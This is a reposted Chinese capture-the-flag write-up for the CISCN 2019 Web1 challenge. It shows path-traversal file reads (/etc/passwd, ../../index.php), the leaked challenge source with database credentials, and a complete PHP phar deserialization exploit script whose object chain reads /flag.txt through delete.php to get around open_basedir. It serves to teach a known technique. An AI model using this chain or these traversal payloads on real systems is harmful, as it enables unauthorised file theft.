涉及知识点
- phar反序列化
- 文件读取
解题过程
打开题目,注册用户为admin
进去发现有文件上传的功能,我们随便上传个图片
然后就有下载和删除两个功能
我们尝试抓包下载文件的功能
发现参数可控,我们尝试读取一下
filename=/etc/passwd
既然能读出来,我们继续读一下源码
filename=../../index.php
源码
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
继续读取class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
分析一下class.php
我们先找到出口File.close()
的file_get_contents
。如果要调用close()方法,往前推可以找到User.__destruct()
,但是这个是调用$db并不是调用File的。
所以我们转换思路,我们可以利用FileList.__call()
魔术方法当跳板调用
仔细分析下
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
首先接受两个参数,$func
表示调用的方法名,$args
是一个数组,包含传递给方法的参数。
如果调用close()的话,就是先将方法名存储$this->funcs
数组里然后依次调用$this->files
数组里的元素的close()方法。
然后存储在$this->results[$file->name()][$func]
如果是File类的close(),就是获取文件的内容,所以$this->files数组里的元素必须为File类的对象
再看看
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) { //遍历数组 $func为键 $value为对应的值
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
这里先输出$this->funcs
里的元素的值
然后输出$this->results
数组里的数组元素的键值对
而在__call()函数里我们存储的文件的内容就在$result as $func => $value
的$value
里
所以只要构造$this->files
的值,就可以在最后面输出其文件的内容,这样就可以获得flag
exp
<?php
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files=array();
$a=new File('/flag.txt');
array_push($this->files,$a);
}
}
class File {
public $filename;
public function __construct($filename) {
$this->filename = $filename;
}
}
$a=new User();
$b=new FileList();
$a->db=$b;
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
解释:$this->db为FileList
类的对象,然后触发其中的__call()方法
然后$this->db的$this->files
数组成员的元素设置为File类的对象,
调用File类的close()方法,并存储在$this->db的$this->results
数组中
最后在FileList类的析构函数输出其值
生成phar文件后修改后缀为jpg(因为会被检测文件后缀)
这里有个关键点,就是要在delete.php抓包修改参数
原因:由于是使用文件系统函数(Filesystem),而在download.php存在open_basedir的限制,不能读取根目录文件而delete.php不存在这个限制文章来源:https://www.toymoban.com/news/detail-707241.html
文章来源地址https://www.toymoban.com/news/detail-707241.html
到了这里,关于[CISCN 2019华北Day1]Web1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!